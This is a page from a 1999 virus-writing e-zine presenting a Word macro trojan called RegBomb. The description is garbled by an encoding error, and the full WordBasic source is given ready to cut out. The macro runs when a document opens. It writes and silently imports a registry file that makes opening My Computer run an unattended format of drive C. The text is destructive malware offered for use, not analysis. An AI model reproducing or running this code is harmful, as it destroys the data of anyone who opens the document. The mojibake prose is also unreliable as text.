- [Duke's Virus Labs #6] - [Page 19] -

Macro.Word.Trojan.RegBomb
(c) by Duke/SMF

    : Macro.Word.Trojan.RegBomb
         : Duke/SMF
 ண.   : WordBasic
 ᮧ : 27.03.99

    ﭥ RegBomb   DOC-ଠ ! ⢨ 믮   ᠬ,
⮫쪮   Word'. 筮  㬥-ﭥ   Word', 
ﭥ   ॥ Windows. , ᫥ ⮣ ⠥ 㯮 
...
   ﭥ ⮨  ⢥  AutoOpen.  ᮧ ⥪⮢
䠩, ᮤঠ騩 ⥪   REG-ଠ,  ࠭   ᪥  䠩
c:\regbomb.reg. ᫥ 祣 ᪠ ணࠬ regedit.exe,  
蠥 ⠫.     ᪨訥   :
   - ⠥  MessageBox ணࠬ regedit  ᮮ饭  ⮬,
      ᮤন c:\regbomb.reg ᯥ譮 ᥭ  ॥
   - ⠥  ᪥ 䠩 c:\regbomb.reg

===== Cut here =====
Sub MAIN
title$ = "c:\regbomb.reg"
copyright$ = "Macro.Word.Trojan.RegBomb (c) by Duke/SMF"
FileNew
Insert "REGEDIT4" + Chr$(13) + Chr$(10)
Insert "" + Chr$(13) + Chr$(10)
Insert "[HKEY_LOCAL_MACHINE" + Chr$(92) + \
"SOFTWARE\Classes\CLSID\{20D04FE0" + \
"-3AEA-1069-A2D8-08002B30309D}\shell\Open]" + Chr$(13) + Chr$(10)
Insert "" + Chr$(13) + Chr$(10)
Insert "[HKEY_LOCAL_MACHINE" + Chr$(92) + \
"SOFTWARE\Classes\CLSID\{20D04FE0-3AEA" + \
"-1069-A2D8-08002B30309D}\shell\Open\Command]" + Chr$(13) + Chr$(10)
Insert "@=" + Chr$(34) + "start /minimized command /c echo y" + \
"|format c: /u >nul" + Chr$(34) + Chr$(13) + Chr$(10)
Insert ""
FileSaveAs .Name = title$, .Format = 4
FileClose(2)
Shell Environ$("WINDIR") + "\regedit.exe " + title$, 0
End Sub
===== Cut here =====
